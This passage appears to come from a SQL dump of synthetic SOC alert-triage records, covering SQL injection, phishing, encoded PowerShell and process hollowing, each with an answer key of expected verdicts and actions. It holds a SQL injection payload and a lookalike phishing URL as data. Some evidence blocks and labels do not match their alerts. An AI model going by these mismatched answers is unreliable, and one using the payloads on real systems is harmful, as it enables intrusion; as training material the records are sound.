4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1715, 'SQL Injection Attempt Detected on Web Server', 'high', 'CrowdStrike', 'A SQL injection attempt was identified targeting the corporate web server from an external IP.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:55:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.122\",\"dst_ip\":\"192.168.1.20\",\"username\":\"\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.122\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal web server address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The signature of the attempted SQL injection matches known attack patterns, confirming the threat.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1716, 'Potential Phishing Email with Malicious URL', 'medium', 'Sysmon', 'A suspicious email containing a potentially malicious URL was detected, mimicking a trusted domain.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:10:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.114.5\",\"dst_ip\":\"192.168.1.30\",\"username\":\"kthompson\",\"hostname\":\"EMAIL-SERVER\",\"email_sender\":\"noreply@trusted.com\",\"url\":\"http://trusted.com.secure-login.co\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@trusted.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain slightly altered to mimic legitimate sender\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://trusted.com.secure-login.co\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL part of phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.114.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for hosting phishing sites\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender analysis confirm a phishing attempt aiming to deceive recipients into entering credentials.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1717, 'Benign Internal PowerShell Script Execution', 'low', 'Carbon Black', 'A PowerShell script was executed on an internal machine. The activity appears to be a routine system administration task.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"DC-01\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal company IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Commonly used PowerShell command for administration\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell script execution matches typical system administration patterns and does not indicate malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1718, 'Process Hollowing Activity Detected in benign_app.exe', 'medium', 'SentinelOne', 'Process hollowing detected within benign_app.exe. Initial investigation suggests this is part of legitimate software behavior.', 'Malware', 'T1055.012', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"\",\"username\":\"user1\",\"hostname\":\"DESKTOP-05\",\"command_line\":\"benign_app.exe hollowed_process.exe\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"hollowed_process.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File recognized as part of legitimate application suite\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"benign_app.exe hollowed_process.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Process behavior consistent with legitimate software update mechanism\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process behavior aligns with known legitimate applications, suggesting a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1719, 'PowerShell Download Cradle Execution Detected', 'critical', 'CrowdStrike', 'A PowerShell script was executed on host FIN-SRV01, downloading an encoded script indicative of a potential malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"FIN-SRV01\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is a strong indicator of malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1720, 'Suspicious Process Hollowing in explorer.exe', 'high', 'SentinelOne', 'Process hollowing technique detected in explorer.exe, indicating potential code injection from an external source.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.12\",\"dst_ip\":\"192.168.1.15\",\"username\":\"alice\",\"hostname\":\"WORKSTATION01\",\"request_body\":\"\",\"command_line\":\"explorer.exe hollowed_process.exe\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for suspicious activity, including process injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a technique often used by malware to hide its execution.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1721, 'Encoded PowerShell Command Detected', 'medium', 'Carbon Black', 'PowerShell executed with an encoded command, potentially indicating an obfuscated script delivery.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"HR-LAPTOP\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected laptop\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands can indicate attempts to execute obfuscated scripts.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe 